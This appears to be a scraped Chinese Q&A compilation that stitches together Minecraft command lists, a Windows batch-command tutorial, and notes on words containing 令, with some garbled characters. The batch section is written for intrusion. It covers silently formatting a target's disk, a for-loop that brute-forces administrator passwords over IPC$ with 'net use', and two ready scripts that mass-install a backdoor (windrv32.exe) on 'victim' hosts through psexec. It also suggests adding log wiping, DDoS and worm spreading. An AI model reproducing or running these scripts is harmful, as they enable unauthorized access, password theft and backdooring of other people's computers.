❶ 網易我的世界有哪些命令方塊指令
《我的世界》命令方塊指令大全:
/give 給予人 物品id 數量 - 給予某人物品,如果不寫數量則給予數量默認為64
/nick ID 名稱 -給某人改一個名 ID是加白名單的名字
/backup -運行備份命令
/fireball -發射一個火球(會破壞方塊)
/heal name -治療某人
/invsee name -查看某人的包裹
/lingtning name -天譴(不填寫名字會雷擊滑鼠指向的地方)
/mute name -禁言某人
/ping -乒乓
/seen name -查看某人最後退出的時間
/tp name1 name2 -將人物1傳送至人物2身旁
/tp name -將自己傳送至某人身旁
/tphere name -將某人傳送至自己身旁
/tpall -將伺服器內的所有人傳送至自己身旁
(上面四個命令需要對方在線,不需要對方同意)
/unlimited id -給予自己無限的某物品
/weather storm/sun time -改變天氣,雷雨或晴天
/foreSTGen -在自己身旁形成森林
/pumpkins -在自己身旁形成南瓜林(帶葉子的南瓜林)
/snow -在自己的身旁成為雪後的樣子
/thaw -融雪(和冰)
/butcher -殺死附近的怪物
/tree 樹形 -生成一棵樹(樹形不填也可以)
樹形:big - 大樹 ewquoia - 紅木 Tall sequoia - 高大的紅木
Birch - 衫樹 Random - 隨機
/up 高度 - 將自己提升到某高度,腳下用一塊可能懸空的玻璃支撐
//set id - 將選中的區域變為某物品(如果是不可放置或者沒有放置點的物品會成為被扔出的狀態)
//undo - 還原上一次的WorldEdit行動
//redo - 還原上一次的//undo(這個說明可能有誤)
//move x - 將區域移動x塊。移動時需正對著區域與NEWS。
//move x up - 將區域向上移動x塊
//move x down - 將區域向下移動x塊
替換指令://replace xxx yyy(xxx是原來方塊,yyy是替換方塊)復制指令//(你站在哪裡復制的,等一下粘貼也會是相同位置出現)
粘貼指令://paste(注意站好位置)
輸入圍牆指令://walls xxx
ascend - 把自己提升到上一個平台
bind <命令> {命令關鍵字} - 設置一鍵命令
clear - 清空控制台
damage - 關閉或者開啟傷害 即無敵
descend - 把自己移動到下面一個的平台
destroy [all] - 破壞當前的東西(背包)
defuse [all] - 拆彈(拆除已經點燃了的TNT炸葯)
diff - X
difficulty - 設置游戲難度
droPStore - 在身邊創建一個儲物櫃
*drops - 開關物品掉落,關閉的話采礦打怪不掉東西。
pe [all] - 復制東西
plicate [all] - 復制手上的東西並丟出來
explode [范圍] - 設置一個地方爆炸(在自家慎用)
extinguish [all] - 熄滅周圍所有的火
ext [all] - 一樣是熄滅火
falldamage - 開關高空落下傷害
firedamage - 開關火的傷害
fly - 飛行模式
*freeze - 凍結怪物
give <物品> [數量] - 給一樣物品
goto <名字> - 去一個地方
grow [all] - 讓立即小麥成長
h [COMMAND] - 命令列表/幫助
heal - 補指定的血
health - 設置生命值
help [COMMAND] - 命令列表/幫助
home 回到出生點
i <物品代碼> [數量] - 刷東西
instantmine - 開關即時采礦(采礦無延遲)
item <物品代碼|物品名稱> [數量] [費用] 給玩家物品, 如果不指定則是最大的數量
itemname - 顯示當前手上的物品名稱
itemstack <物品代碼> [數量] - 給玩家指定數量的物品
kill 自殺不解釋
jump - 瞬移到滑鼠所指的地方
killnpc [all] - 殺死周圍全部NPC 或者叫 殺了附近所有除自己外的活體生物
l - X
*light - 把光永久性關閉
listwaypoints - 列出所有路徑點
macro <文件名> {參數} - 允許運行宏
maxstack [物品ID|物品名稱|全部] [數量] - 最大的把某物品堆起來
*mobdamage - 怪物不會給你傷害
msg <消息> - 添加一個消息到控制台
music [音量] - 播放音樂
noclip - 穿牆
p - 顯示當前坐標
pos 現在玩家的坐標
reach - 玩家到指定地方
return - 傳送到之前傳送的地方
rem - 刪除指定路點
removedrops [all] - 刪掉地上物品
*rename - 修改命令名稱
replenish [all] - X
repair [all] - 修復當前物品耐久
reset - 恢復默認設置
s <名字> - Same as /set
search <關鍵詞> - 搜索物品名稱
set <名字> - 在這世界標記一個路徑點
setjump [JUMP|reset] - 設置跳躍的高度 落地傷害和移動 1:1
setspawn [ ] 設置當前位置 X軸 Y軸 Z軸
setspeed [速度|重置] - 設置移動速度
setspeed [速度|重置] - 設置移動速度
spawn [QTY] - 產生一個生物
spawnstack {NAME|ID|random} - 產生一個合體的怪物NPC
unbind - 解除一個命令
useportal - 傳送到地獄
waterdamage - 開關潛水傷害
world - 世界情報
world load - 載入指定的文件
world save - 保存退出遊戲
world seed [SEED] - 給你看看你世界裡有多少個方塊
world new [FILENAME] [SEED] - 在指定位置創建新地圖
world exit - 不保存退出遊戲
world list - 列出所有存檔
(1)含有命令的字有哪些擴展閱讀:
命令方塊(Command Block)是游戲《Minecraft》里,被紅石信號激活後(在1.9加入了保持開啟的功能,無需紅石)能執行命令的方塊,這對冒險地圖提供了極多的功能。
自Minecraft15w35a後,命令方塊可以不再使用紅石信號便可激活。
這是一種用於執行minecraft游戲命令的實體方塊。只能通過作弊獲得,它常用在多人伺服器與自訂地圖中。僅在創造模式下可以打開命令方塊的GUI和放置命令方塊。
❷ 批處理命令大全
1.Echo 命令
打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回顯設置。
語法
echo [{on|off}] [message]
Sample篅echo off / echo hello world
在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。
2.@ 命令
表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬碟)自然不能讓對方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個參數給我們,效果和/y是一樣的。)
3.Goto 命令
指定跳轉到標簽,找到標簽後,程序將處理從下一行開始的命令。
語法:goto label (label是參數,指定所要轉向的批處理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標簽,goto命令就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。
4.Rem 命令
注釋命令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個注釋的作用,便於別人閱讀和你自己日後修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
運行 Pause 命令時,將顯示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在這個例子中,驅動器 A 中磁碟上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁碟放入驅動器 A 時,pause 命令會使程序掛起,以便您更換磁碟,然後按任意鍵繼續處理。
6.Call 命令
從一個批處理程序調用另一個批處理程序,並且不終止父批處理程序。call 命令接受用作調用目標的標簽。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。
語法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
參數
[Drive:}[Path] FileName
指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。
7.start 命令
調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。
入侵常用參數:
MIN 開始時窗口最小化
SEPARATE 在分開的空間內開始 16 位 Windows 程序
HIGH 在 HIGH 優先順序類別開始應用程序
REALTIME 在 REALTIME 優先順序類別開始應用程序
WAIT 啟動應用程序並等候它結束
parameters 這些為傳送到命令/程序的參數
執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE 不等應用程序終止就返回命令提示。如果在命令腳本內執行,該新行為則不會發生。
8.choice 命令
choice 使用此命令可以讓用戶輸入一個字元,從而運行不同的命令。使用時應該加/c:參數,c:後應寫提示可輸入的字元,之間無空格。它的返回碼為1234……
如: choice /c:dme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的內容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然後if語句將作出判斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good bye,文件結束。
9.If 命令
if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式:
1、if "參數" == "字元串" 待執行的命令
參數如果等於指定的字元串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文件名 待執行的命令
如果有指定的文件,則條件成立,運行命令,否則運行下一句。
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 數字 待執行的命令
如果返回碼等於指定的數字,則條件成立,運行命令,否則運行下一句。
如if errorlevel 2 goto x2
DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。
10.for 命令
for 命令是一個比較復雜的命令,主要用於參數在指定的范圍內循環執行命令。
在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件。可以使用通配符。
command 指定對每個文件執行的命令。
command-parameters 為特定命令指定參數或命令行開關。
在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable
而不要用 %variable。變數名稱是區分大小寫的,所以 %i 不同於 %I
如果命令擴展名被啟用,下列額外的 FOR 命令格式會受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,則指定與目錄名匹配,而不與文件
名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的
FOR 語句。如果在 /R 後沒有指定目錄,則使用當前
目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。
FOR /L %variable IN (start,step,end) DO command [command-para
該集表示以增量形式從開始到結束的一個數字序列。
因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者,如果有 usebackq 選項:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
filenameset 為一個或多個文件名。繼續到 filenameset 中的
下一個文件之前,每份文件都已被打開、讀取並經過處理。
處理包括讀取文件,將其分成一行行的文字,然後將每行
解析成零或更多的符號。然後用已找到的符號字元串變數值
調用 For 循環。以默認方式,/F 通過每個文件的每一行中分開
的第一個空白符號。跳過空白行。您可通過指定可選 "options"
參數替代默認解析操作。這個帶引號的字元串包括一個或多個
指定不同解析選項的關鍵字。這些關鍵字為:
eol=c - 指一個行注釋字元的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的
默認分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代
的 for 本身。這會導致額外變數名稱的
格式為一個范圍。通過 nth 符號指定 m
符號字元串中的最後一個字元星號,
那麼額外的變數將在最後一個符號解析之
分配並接受行的保留文本。
usebackq - 指定新語法已在下類情況中使用:
在作為命令執行一個後引號的字元串並且
引號字元為文字字元串命令並允許在 fi
中使用雙引號擴起文件名稱。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將
每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和/或
空格定界符號。請注意,這個 for 程序體的語句引用 %i 來
取得第二個符號,引用 %j 來取得第三個符號,引用 %k
來取得第三個符號後的所有剩餘符號。對於帶有空格的文件
名,您需要用雙引號將文件名括起來。為了用這種方式來使
用雙引號,您還需要使用 usebackq 選項,否則,雙引號會
被理解成是用作定義某個要分析的字元串的。
%i 專門在 for 語句中得到說明,%j 和 %k 是通過
tokens= 選項專門得到說明的。您可以通過 tokens= 一行
指定最多 26 個符號,只要不試圖說明一個高於字母 z 或
Z 的變數。請記住,FOR 變數是單一字母、分大小寫和全局的;
同時不能有 52 個以上都在使用中。
您還可以在相鄰字元串上使用 FOR /F 分析邏輯;方法是,
用單引號將括弧之間的 filenameset 括起來。這樣,該字元
串會被當作一個文件中的一個單一輸入行。
最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將
括弧之間的 filenameset 變成一個反括字元串。該字元串會
被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進
內存,並被當作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
會枚舉當前環境中的環境變數名稱。
另外,FOR 變數參照的替換已被增強。您現在可以使用下列
選項語法:
~I - 刪除任何引號("),擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個文件名
%~xI - 僅將 %I 擴充到一個文件擴展名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件屬性
%~tI - 將 %I 擴充到文件的日期/時間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 查找列在路徑環境變數的目錄,並將 %I 擴充
到找到的第一個完全合格的名稱。如果環境變數
未被定義,或者沒有找到文件,此組合鍵會擴充
空字元串
可以組合修飾符來得到多重結果:
%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個文件名和擴展名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 查找列在路徑環境變數的目錄,並將 %I 擴充
到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR
在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法
用一個有效的 FOR 變數名終止。選取類似 %I 的大寫變數名
比較易讀,而且避免與不分大小寫的組合鍵混淆。
以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。
sample2:
利用For命令來實現對一台目標Win2k主機的暴力密碼破解。
我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接,當成功時記下密碼。
最主要的命令是一條:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然後將程序運行結果傳遞給find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,這樣就ko了。
sample3:
你有沒有過手裡有大量肉雞等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任務。那麼如何實現呢?呵呵,看下去你就會明白了。
主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變數使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請參見上面的sample1,在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。
而cultivate.bat無非就是用net use命令來建立IPC$連接,並木馬+後門到victim,然後用返回碼(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指定的文件。
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip password username。
代碼雛形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
這只是一個自動種植後門批處理的雛形,兩個批處理和後門程序(Windrv32.exe),PSexec.exe需放在統一目錄下.批處理內容
尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.
❸ 我的世界命令方塊有哪些可用命令
/clear 清空背包
/difficulty 調整難度(0:和平 1:簡單 2:普通 3:困難)
/effect 獲得效果(1速度 2緩慢 3急迫 4挖掘疲勞 5力量 6瞬間治療 7瞬間傷害 8跳躍提升 9反胃 10生命恢復 11抗性提升 12防火 13水下呼吸 14隱身 15失明 16夜視 17飢餓 18虛弱 19中毒)
/enchant 手中的裝備會被附魔(目前不清楚附魔ID)
/gamemode (0:生存 1:創造 2:冒險)
/give <玩家名> <物品ID> <數量> (這是給東西的指令)
/me 命令台會跟你拍悔賣萌
/say <玩家名> <文本信息>會讓命令台發送廣播消息就給你這些了(如果用在命令方塊上就把<玩家名>改成@p,@a)
我的世界 命令方塊指令大全:
/give 給予人 物品id 數量 - 給予某人物品,如果不寫數量則給予數量默認為64
/fireball -發射一個火球(會破壞方塊)
/heal name -治療某人
/invsee name -查看某人的包裹
/lingtning name -天譴(不填寫名字會雷擊滑鼠指向的地方)
/seen name -查看某人最後退出的時間
/tp name1 name2 -將人物1傳送至人物2身旁
(上面四個命令需要對方在線,不需要對方同意)
/unlimited id -給予自己無限的某物品
/weather storm/sun time -改變天氣,雷雨或晴天
【箭術】 - Archery
【斧頭技能】 - Axes
【采礦】- mining
【修理】 - Repair
手拿木斧,左鍵一角,右鍵一角,兩角之間的長方體為選擇區域:
//set id - 將選中的區襲塵正域變為某物品(如果是不可放置或者沒有放置點的物品會成為被扔出的狀態)
//undo - 還原上一次的WorldEdit行動
//redo - 還原上一次的//undo(這個說明可能有誤)
//move x - 將區域移動x塊。移動時需正對著區域與NEWS。
//move x up - 將區域向上移動x塊
//move x down - 將區域向下移動x塊
替換指令://replace xxx yyy(xxx是原來方塊,yyy是替換方塊)
復制指令//(你站在哪裡復制的,等一下粘貼也會是相同位置出現)
粘貼指令://paste(注意站好位置)
輸入圍牆指令://walls xxx
ascend - 把自己提升到上一個平台
bind <命令> {命令關鍵字兄敗} - 設置一鍵命令
clear - 清空控制台
damage - 關閉或者開啟傷害 即無敵
descend - 把自己移動到下面一個的平台
destroy [all] - 破壞當前的東西(背包)
defuse [all] - 拆彈(拆除已經點燃了的TNT炸葯)
diff - X
pe [all] - 復制東西
plicate [all] - 復制手上的東西並丟出來
explode [范圍] - 設置一個地方爆炸(在自家慎用)
extinguish [all] - 熄滅周圍所有的火
ext [all] - 一樣是熄滅火
falldamage - 開關高空落下傷害
firedamage - 開關火的傷害
fly - 飛行模式
give <物品> [數量] - 給一樣物品
goto <名字> -
去一個地方
grow [all] - 讓立即小麥成長
h [COMMAND] - 命令列表/幫助
heal - 補指定的血
health - 設置生命值
help [COMMAND] - 命令列表/幫助
home 回到出生點
i <物品代碼> [數量] - 刷東西
instantmine - 開關即時采礦(采礦無延遲)
item <物品代碼|物品名稱> [數量] [費用] 給玩家物品, 如果不指定則是最大的數量
itemname - 顯示當前手上的物品名稱
itemstack <物品代碼> [數量] - 給玩家指定數量的物品
kill 自殺不解釋
jump - 瞬移到滑鼠所指的地方
killnpc [all] - 殺死周圍全部NPC 或者叫 殺了附近所有除自己外的活體生物
l - X
*light - 把光永久性關閉
listwaypoints - 列出所有路徑點
macro <文件名> {參數} - 允許運行宏
maxstack [物品ID|物品名稱|全部] [數量] - 最大的把某物品堆起來
*mobdamage - 怪物不會給你傷害
msg <消息> - 添加一個消息到控制台
music [音量] - 播放音樂
noclip - 穿牆
p - 顯示當前坐標
pos 現在玩家的坐標
reach - 玩家到指定地方
return - 傳送到之前傳送的地方
rem - 刪除指定路點
removedrops [all] - 刪掉地上物品
*rename - 修改命令名稱
replenish [all] - X
repair [all] - 修復當前物品耐久
reset - 恢復默認設置
s <名字> - Same as /set
search <關鍵詞> - 搜索物品名稱
set <名字> - 在這世界標記一個路徑點
setjump [JUMP|reset] - 設置跳躍的高度 落地傷害和移動 1:1
setspawn [ ] 設置當前位置 X軸 Y軸 Z軸
setspeed [速度|重置] - 設置移動速度
setspeed [速度|重置] - 設置移動速度
spawn [QTY] - 產生一個生物
spawnstack {NAME|ID|random} - 產生一個合體的怪物NPC
*superheat [all] - Turns items which are furnace-able into their furnaced form
t - Same as /tele
tele - 傳送到此坐標
time [set|get|day|night [minute|hour|day [TIME]]] - 設置指定時間得到物品
timeschele > - 設定一段時間段,讓世界永遠保持在這段時間之間- - 《涼宮春日漫無止境的八月》
unbind - 解除一個命令
useportal - 傳送到地獄
waterdamage - 開關潛水傷害
world - 世界情報
版本越高指令越全,如果這個版本用不了請在高版本中使用,一般1.9版本指令就已經很全了
minecraft老玩家為您解答,如有疑問歡迎追問,如有幫助請採納
❹ 命令的令怎麼組詞 命令的令組詞有哪些
1、命令的令的組詞裂飢州:責令、口令、繞口令、命令、號令、勒令、軍令狀、指令、令人神往、令尊、令堂、三令五申。
2、命令是漢語詞彙,拼音是mìng lìng,意思是國家肆蔽行政機關及其領導人發布的指揮性和強制性的公文。
3、繞口令又稱急口肢巧令、吃口令、拗口令等。是一種民間傳統的語言游戲,由於它是將若干雙聲、疊韻詞或發音相同、相近的語、詞有意集中在一起,組成簡單、有趣的語韻,要求快速念出,所以讀起來使人感到節奏感強,妙趣橫生。繞口令是民間漢語語言游戲,將聲母、韻母或聲調極易混同的字,組成反復、重疊、繞口、拗口的句子,要求一口氣急速念出。